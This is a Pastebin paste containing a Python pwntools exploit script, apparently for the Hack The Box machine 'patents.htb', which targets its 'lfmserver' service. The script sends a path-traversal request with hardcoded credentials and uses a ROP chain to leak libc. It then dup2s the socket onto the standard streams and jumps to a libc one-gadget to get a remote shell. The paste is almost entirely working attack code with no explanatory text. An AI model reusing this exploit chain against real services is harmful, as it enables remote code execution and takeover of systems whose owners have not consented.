Advertisement
Guest User

Untitled

a guest
Jan 20th, 2020
2,398
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.98 KB | None | 0 0
  1. from pwn import *
  2.  
  3. IP = 'patents.htb'
  4. PORT = 8888
  5. fd = 6
  6.  
  7. bin = ELF('./lfmserver')
  8. libc = ELF('libc.so.6')
  9.  
  10. p = remote(IP, PORT)
  11.  
  12. hash = "26ab0db90d72e28ad0ba1e22ee510510"
  13.  
  14. user = "lfmserver_user"
  15. password = "!gby0l0r0ck$$!"
  16.  
  17. def genrequest(payload):
  18. #thanks to pottm for this poc payload
  19. request = "%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e/proc/sys/kernel/randomize_va_space%x00%61%61%61%61%61%61%61%61%62%61%61%61%61%61%61%61%63%61%61%61%61%61%61%61%64%61%61%61%61%61%61%61%65%61%61%61%61%61%61%61%66%61%61%61%61%61%61%61%67%61%61%61%61%61%61%61%68%61%61%61%61%61%61%61%69%61%61%61%61%61%61%61%6a%61%61%61%61%61%61%61%6b%61%61%61%61%61%61%61%6c%61%61%61%61%61%61%61%6d%61%61%61%61%61%61%61%6e%00{}".format(encode(payload))
  20. request = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n".format(request, user, password, hash)
  21. #print request
  22. return request
  23.  
  24. poprdi = 0x405c4b #: pop rdi; ret;
  25. poprsi = 0x405c49 #: pop rsi; pop r15; ret;
  26. ropnop = 0x40251f #: nop; ret;
  27.  
  28. rop = p64(poprdi) + p64(fd) + p64(poprsi) + p64(bin.got['dup2']) + p64(0) + p64(ropnop) + p64(bin.symbols['write'])
  29. p.sendline(genrequest(rop))
  30.  
  31. print(p.recvall())
  32. leak = p.recvall().split('\n')[4]
  33. leak = u64(leak.ljust(8,'\x00'))[1:7]
  34. libc.address = leak - libc.symbols['dup2']
  35. log.info("Libc base: " + hex(libc.address))
  36.  
  37. payload = p64(poprdi)
  38. payload += p64(fd)
  39. payload += p64(poprsi)
  40. payload += p64(0x0)
  41. payload += "A"*8
  42. payload += p64(bin.symbols['dup2'])
  43.  
  44. payload += p64(poprdi)
  45. payload += p64(fd)
  46. payload += p64(poprsi)
  47. payload += p64(0x1)
  48. payload += "A"*8
  49. payload += p64(bin.symbols['dup2'])
  50.  
  51. payload += p64(poprdi)
  52. payload += p64(fd)
  53. payload += p64(poprsi)
  54. payload += p64(0x2)
  55. payload += p64(0x0)
  56. payload += p64(bin.symbols['dup2'])
  57.  
  58. rop = payload + p64(poprdi) + p64(1) + p64(poprsi) + p64(bin.got['dup2']) + p64(0) + p64(ropnop) + p64(bin.symbols['write'])+p64(ropnop) + p64(libc.address + 0x501e3 )
  59.  
  60. p.sendline(genrequest(rop))
  61. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement